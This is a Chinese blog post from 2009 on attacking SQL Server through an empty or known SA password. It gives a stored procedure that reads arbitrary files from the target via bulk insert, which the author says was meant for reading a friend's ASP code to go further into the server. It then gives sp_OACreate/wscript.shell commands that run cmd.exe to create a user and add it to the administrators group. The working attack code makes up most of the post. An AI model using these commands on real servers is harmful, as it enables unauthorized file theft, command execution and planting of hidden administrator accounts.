分类: 数据库开发技术
2009-08-23 21:44:24
经过两天的查阅资料和测试,实现了不需要使用任何SQLServer自带的存储过程就可以从目标机上得到txt、asp等类型文件的内容(前提是知道SA密码或者SA密码为空),实现过程就是自己建立一个临时表,然后将文件读到表中,再用SELECT语句得到返回值,即文件的内容。我们可以在查询分析器里先写入一个存储过程,然后执行,在需要的时候只要调用该存储过程即可:
Create proc sp_readTextFile @filename sysname as begin set nocount on Create table #tempfile (line varchar(8000)) exec ('bulk insert #tempfile from "' + @filename + '"') select * from #tempfile drop table #tempfile End go |
这样我们只要执行类似下面的语句就可以得到指定路径下文件的内容:
exec sp_readTextFile 'c:\aaa.asp' |
实现这个功能后,本打算通过读取朋友服务器上网站的asp代码,做进一步的入侵,可是后来发现,因为不知道网站asp文件的绝对路径,所以这个功能根本用不上,只好作罢,另找其他方法。在这之后的几天时间里,我想到了使用安全文章经常提到OLE相关的一系列存储过程,这一系列的存储过程同Xp_cmdshell以及读取注册表系列的存储过程一样危险,但是其使用方法不象那些存储过程在网络上和书上介绍的那样多,这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,下面我讲一下通过查阅资料得到的使用方法:
打开查询分析器,然后使用SA与目标机连接上,在查询分析器里执行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user ceshi 1 /add'-- |
这样对方系统增加了一个用户名为ceshi,密码为1的用户,再执行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators ceshi /add '-- |
用户ceshi,被加入管理员组。
总结:通过这次渗透测试,又学到了一种利用存储过程控制SA为空的SQLServer服务器的方法。